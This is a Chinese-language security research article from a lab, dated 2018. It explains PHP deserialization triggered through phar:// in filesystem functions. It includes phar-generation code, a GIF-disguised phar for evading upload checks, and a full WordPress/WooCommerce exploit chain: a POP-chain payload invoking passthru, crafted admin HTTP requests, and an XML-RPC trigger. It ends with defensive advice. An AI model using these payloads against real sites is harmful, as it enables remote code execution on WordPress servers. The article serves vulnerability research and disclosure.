利用 phar 拓展 php 反序列化漏洞攻击面

作者：seaii@知道创宇404实验室
时间：2018/08/23

0x01 前言

通常我们在利用反序列化漏洞的时候，只能将序列化后的字符串传入unserialize()，随着代码安全性越来越高，利用难度也越来越大。但在不久前的Black Hat上，安全研究员 Sam Thomas 分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it ，利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了 php 反序列化漏洞的攻击面。该方法在 文件系统函数 （file_exists()、is_dir()等）参数可控的情况下，配合 phar://伪协议 ，可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”，下面我们就来了解一下这种攻击手法。

0x02 原理分析

2.1 phar文件结构

在了解攻击手法之前我们要先看一下phar的文件结构，通过查阅手册可知一个phar文件有四部分构成：

1. astub

可以理解为一个标志，格式为 xxx<?php xxx; __HALT_COMPILER();?> ，前面内容不限，但必须以 __HALT_COMPILER();?> 来结尾，否则phar扩展将无法识别这个文件为phar文件。

2. amanifestdescribing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以 序列化 的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。

3. the filecontents

被压缩文件的内容。

4. [optional] asignaturefor verifying Phar integrity (phar file format only)

签名，放在文件末尾，格式如下：

2.2 demo测试

根据文件结构我们来自己构建一个phar文件，php内置了一个Phar类来处理相关操作。

注意：要将php.ini中的 phar.readonly 选项设置为 Off ，否则无法生成phar文件。

phar_gen.php

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以明显的看到meta-data是以序列化的形式存储的：

有序列化数据必然会有反序列化操作，php一大部分的 文件系统函数 在通过 phar:// 伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：

来看一下php底层代码是如何处理的：

php-src/ext/phar/phar.c

通过一个小demo来证明一下：

phar_test1.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

其他函数当然也是可行的：

phar_test2.php

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/a_random_string';
    file_exists($filename);
    //......
 ?>

当文件系统函数的参数可控时，我们可以在不调用unserialize()的情况下进行反序列化操作，一些之前看起来“人畜无害”的函数也变得“暗藏杀机”，极大的拓展了攻击面。

2.3 将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到，php识别phar文件是通过其文件头的stub，更确切一点来说是 __HALT_COMPILER();?> 这段代码，对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

0x03 实际利用

3.1 利用条件

任何漏洞或攻击手法不能实际利用，都是纸上谈兵。在利用之前，先来看一下这种攻击的利用条件。

1. phar文件要能够上传到服务器端。
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控，且 : 、 / 、 phar 等特殊字符没有被过滤。

3.2 wordpress

wordpress是网络上最广泛使用的cms，这个漏洞在2017年2月份就报告给了官方，但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中，同样没有修补。根据利用条件，我们先要构造phar文件。

首先寻找能够执行任意代码的类方法：

wp-includes/Requests/Utility/FilteredIterator.php

class Requests_Utility_FilteredIterator extends ArrayIterator {
    /**
    * Callback to run as a filter
    *
    * @var callable
    */
    protected $callback;
    ...
    public function current() {
        $value = parent::current();
        $value = call_user_func($this->callback, $value);
        return $value;
    }
}

这个类继承了 ArrayIterator ，每当这个类实例化的对象进入 foreach 被遍历的时候， current() 方法就会被调用。下一步要寻找一个内部使用 foreach 的析构方法，很遗憾wordpress的核心代码中并没有合适的类，只能从插件入手。这里在 WooCommerce 插件中找到一个能够利用的类：

wp-content/plugins/woocommerce/includes/log-handlers/class-wc-log-handler-file.php

class WC_Log_Handler_File extends WC_Log_Handler {
    protected $handles = array();
    /*......*/
    public function __destruct() {
        foreach ( $this->handles as $handle ) {
            if ( is_resource( $handle ) ) {
                fclose( $handle ); // @codingStandardsIgnoreLine.
            }
        }
    }
    /*......*/
}

到这里pop链就构造完成了，据此构建phar文件：

<?php
    class Requests_Utility_FilteredIterator extends ArrayIterator {
        protected $callback;
        public function __construct($data, $callback) {
            parent::__construct($data);
            $this->callback = $callback;
        }
    }

    class WC_Log_Handler_File {
        protected $handles;
        public function __construct() {
            $this->handles = new Requests_Utility_FilteredIterator(array('id'), 'passthru');
        }
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头，伪造文件类型
    $o = new WC_Log_Handler_File();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

将后缀名改为gif后，可以在后台上传，也可以通过xmlrpc接口上传，都需要author及以上的权限。记下上传后的 文件名 和 post_ID 。

接下来我们要找到一个参数可控的文件系统函数：

wp-includes/post.php

function wp_get_attachment_thumb_file( $post_id = 0 ) {
    $post_id = (int) $post_id;
    if ( !$post = get_post( $post_id ) )
        return false;
    if ( !is_array( $imagedata = wp_get_attachment_metadata( $post->ID ) ) )
        return false;

    $file = get_attached_file( $post->ID );

    if ( !empty($imagedata['thumb']) && ($thumbfile = str_replace(basename($file), $imagedata['thumb'], $file)) && file_exists($thumbfile) ) {
        /**
         * Filters the attachment thumbnail file path.
         *
         * @since 2.1.0
         *
         * @param string $thumbfile File path to the attachment thumbnail.
         * @param int    $post_id   Attachment ID.
         */
        return apply_filters( 'wp_get_attachment_thumb_file', $thumbfile, $post->ID );
    }
    return false;
}

该函数可以通过XMLRPC调用"wp.getMediaItem"这个方法来访问到，变量 $thumbfile 传入了 file_exists() ，正是我们需要的函数，现在我们需要回溯一下 $thumbfile 变量，看其是否可控。

根据 $thumbfile = str_replace(basename($file), $imagedata['thumb'], $file) ，如果 basename($file) 与 $file 相同的话，那么 $thumbfile 的值就是 $imagedata['thumb'] 的值。先来看 $file 是如何获取到的：

wp-includes/post.php

function get_attached_file( $attachment_id, $unfiltered = false ) {
    $file = get_post_meta( $attachment_id, '_wp_attached_file', true );

    // If the file is relative, prepend upload dir.
    if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\\\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
        $file = $uploads['basedir'] . "/$file";
    }

    if ( $unfiltered ) {
        return $file;
    }

    /**
     * Filters the attached file based on the given ID.
     *
     * @since 2.1.0
     *
     * @param string $file          Path to attached file.
     * @param int    $attachment_id Attachment ID.
     */
    return apply_filters( 'get_attached_file', $file, $attachment_id );
}

如果 $file 是类似于windows盘符的路径 Z:\Z ，正则匹配就会失败， $file 就不会拼接其他东西，此时就可以保证 basename($file) 与 $file 相同。

可以通过发送如下数据包来调用设置 $file 的值：

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 147
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editpost&post_type=attachment&post_ID=11&file=Z:\Z

同样可以通过发送如下数据包来设置 $imagedata['thumb'] 的值：

POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 184
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/wordpress/wp-admin/post.php?post=10&action=edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7Cb16569744dd9059a1fafaad1c21cfdbf90fc67aed30e322c9f570b145c3ec516; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=author%7C1535082294%7C1OVF85dkOeM7IAkQQoYcEkOCtV0DWTIrr32TZETYqQb%7C5c9f11cf65b9a38d65629b40421361a2ef77abe24743de30c984cf69a967e503; wp-settings-time-2=1534912264; XDEBUG_SESSION=PHPSTORM
Connection: close

_wpnonce=1da6c638f9&_wp_http_referer=%2Fwp-
admin%2Fpost.php%3Fpost%3D16%26action%3Dedit&action=editattachment&post_ID=11&thumb=phar://./wp-content/uploads/2018/08/phar-1.gif/blah.txt

_wpnonce 可在修改页面中获取。

最后通过XMLRPC调用"wp.getMediaItem"这个方法来调用 wp_get_attachment_thumb_file() 函数来触发反序列化。xml调用数据包如下：

POST /wordpress/xmlrpc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 529
Connection: close

<?xml version="1.0" encoding="utf-8"?>

<methodCall> 
  <methodName>wp.getMediaItem</methodName>  
  <params> 
    <param> 
      <value> 
        <string>1</string> 
      </value> 
    </param>  
    <param> 
      <value> 
        <string>author</string> 
      </value> 
    </param>  
    <param> 
      <value> 
        <string>you_password</string>
      </value> 
    </param>  
    <param> 
      <value> 
        <int>11</int> 
      </value> 
    </param> 
  </params> 
</methodCall>

0x04 防御

1. 在文件系统函数的参数可控时，对参数进行严格的过滤。
2. 严格检查上传文件的内容，而不是只检查文件头。
3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

0x05 参考链接

1. https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
2. http://php.net/manual/en/intro.phar.php
3. http://php.net/manual/en/phar.fileformat.ingredients.php
4. http://php.net/manual/en/phar.fileformat.signature.php
5. https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf